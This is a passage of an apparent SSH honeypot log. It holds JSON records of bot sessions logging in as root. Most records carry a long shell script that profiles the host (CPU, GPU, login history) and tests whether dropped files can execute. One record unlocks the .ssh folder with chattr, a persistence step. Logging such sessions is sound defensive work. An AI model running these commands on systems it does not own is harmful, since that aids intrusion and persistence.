  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:58:59.869134+00:00",
  "ended_at": "2026-08-26T15:59:00.129334+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "964c3f65-e47a-406a-b05b-833bc0b5f8cb",
  "name": "solar-civil-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 57450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:57:02.123790+00:00",
  "ended_at": "2026-08-26T15:57:02.285697+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0a01dd42-97fe-4e30-bec5-e2fd17def843",
  "name": "plucky-icy-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 54566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:55:08.687869+00:00",
  "ended_at": "2026-08-26T15:55:08.857686+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "cdf86597-2d41-46e4-aa9a-e9a9e24ee7b2",
  "name": "silent-bitter-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 51666,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:53:21.348194+00:00",
  "ended_at": "2026-08-26T15:53:21.512762+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b77fbce6-d7da-4d0b-a1fe-19b7b7064541",
  "name": "drifting-deft-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 48776,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:51:25.801231+00:00",
  "ended_at": "2026-08-26T15:51:25.929970+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "a2ad31f8-cab9-4d70-ab83-7a4617a0f383",
  "name": "nautical-quaint-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 45850,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:49:29.057532+00:00",
  "ended_at": "2026-08-26T15:49:29.172905+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5b25c425-c234-4dc7-bda4-d6e2658d8df6",
  "name": "quartz-wiry-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40859,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 748,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:49:09.436344+00:00",
  "ended_at": "2026-08-26T15:49:10.787654+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d84ae859-9e6c-4689-a845-69d81f75a7fe",
  "name": "grumpy-frosty-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40923,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:48:46.892593+00:00",
  "ended_at": "2026-08-26T15:48:48.020627+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1b444083-57cf-4778-a14c-76648975a156",
  "name": "tender-subtle-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 42924,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
